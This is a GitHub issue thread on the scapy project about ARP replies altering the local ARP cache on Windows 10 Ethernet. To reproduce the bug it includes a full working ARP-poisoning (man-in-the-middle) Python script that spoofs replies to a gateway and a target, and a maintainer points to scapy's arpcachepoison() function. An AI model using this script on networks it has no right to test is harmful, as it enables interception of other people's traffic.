secdev / scapy

Scapy: the Python-based interactive packet manipulation program & library.
https://scapy.net
GNU General Public License v2.0
10.58k stars 2.01k forks source link

ARP reply changes ARP cache only in Windows 10 Ethernet #3555

Closed william1357chen closed 2 years ago

william1357chen commented 2 years ago

Brief description

There is an issue with using scapy to send ARP replies (opcode=2) in Windows 10 Ethernet. The outgoing packets change the ARP cache of the host, resulting in a messed-up ARP cache when performing tasks like ARP poisoning.

Where this issue happens:

This issue does not happen on:

Haven't tested:

Please let me know if anyone can reproduce this issue and it's not just my PC. I believe that this is an issue because If this is not an issue, why does it only happen on Windows 10 with Ethernet adapters?

Scapy version

2.4.3 and 2.4.5

Python version

3.8 and 3.9

Operating system

Windows 10 Pro

Additional environment information

ARP poisoning

Here's an example of what happens when running ARP poisoning on Windows 10 Ethernet:

When sending ARP spoof replies to gateway, we have

ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwsrc=host_mac, hwdst=gateway_mac) # hwsrc is spoofed

When sending ARP spoof replies to target, we have:

ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwsrc=host_mac, hwdst=target_mac) # hwsrc is spoofed

This changes the ARP cache from the correct entries:

192.168.0.1  3c:84:6a...
192.168.0.3 05:12:de...

To incorrect entries:

192.168.0.1  d8:86:dc...
192.168.0.3 d8:86:dc...

This means that:

How to reproduce

from scapy.all import *

gateway_ip = "192.168.0.1" # change this line to your gateway
target_ip = "192.168.0.223" # change this line to your target
conf.verb = 0

#Given an IP, get the MAC. Broadcast ARP Request for a IP Address. Should recieve
#an ARP reply with MAC Address
def get_mac(ip_address):
    #ARP request is constructed. sr function is used to send/ receive a layer 3 packet
    #Alternative Method using Layer 2: resp, unans =  srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip_address))
    resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
    for s,r in resp:
        return r[ARP].hwsrc
    return None

#Keep sending false ARP replies to put our machine in the middle to intercept packets
#This will use our interface MAC address as the hwsrc for the ARP reply
def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
    print("[*] Started ARP poison attack [CTRL-C to stop]")
    try:
        while True:
            send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
            send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
            time.sleep(2)
    except KeyboardInterrupt:
        print("[*] Stopped ARP poison attack. Restoring network")
        restore_network(gateway_ip, gateway_mac, target_ip, target_mac)

def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)

gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
    print("[!] Unable to get gateway MAC address. Exiting..")
    sys.exit(0)
else:
    print(f"[*] Gateway MAC address: {gateway_mac}")

target_mac = get_mac(target_ip)
if target_mac is None:
    print("[!] Unable to get target MAC address. Exiting..")
    sys.exit(0)
else:
    print(f"[*] Target MAC address: {target_mac}")

arp_poison(gateway_ip, gateway_mac, target_ip, target_mac)

Run this ARP poisoning script on Windows 10 Ethernet. Make sure that conf.iface is an Ethernet NIC. Also, make sure to change the gateway_ip and target_ip according to your network. After running this script, run arp -a to check your ARP table. Run for 30 seconds if you don't see results immediately.

Actual result

No response

Expected result

No response

Related resources

No response

guedou commented 2 years ago

I won't be able to reproduce this issue soon. In the meantime, could you give our arpcachepoison() function a try?

william1357chen commented 2 years ago

The arpcachepoison() function uses ARP requests (who-has) instead of replies which does indeed solve the issue but I have discovered other problems associated with using ARP requests such as packet loss.

guedou commented 2 years ago

Thanks. Let's move this discussion to gitter as this is not a Scapy issue.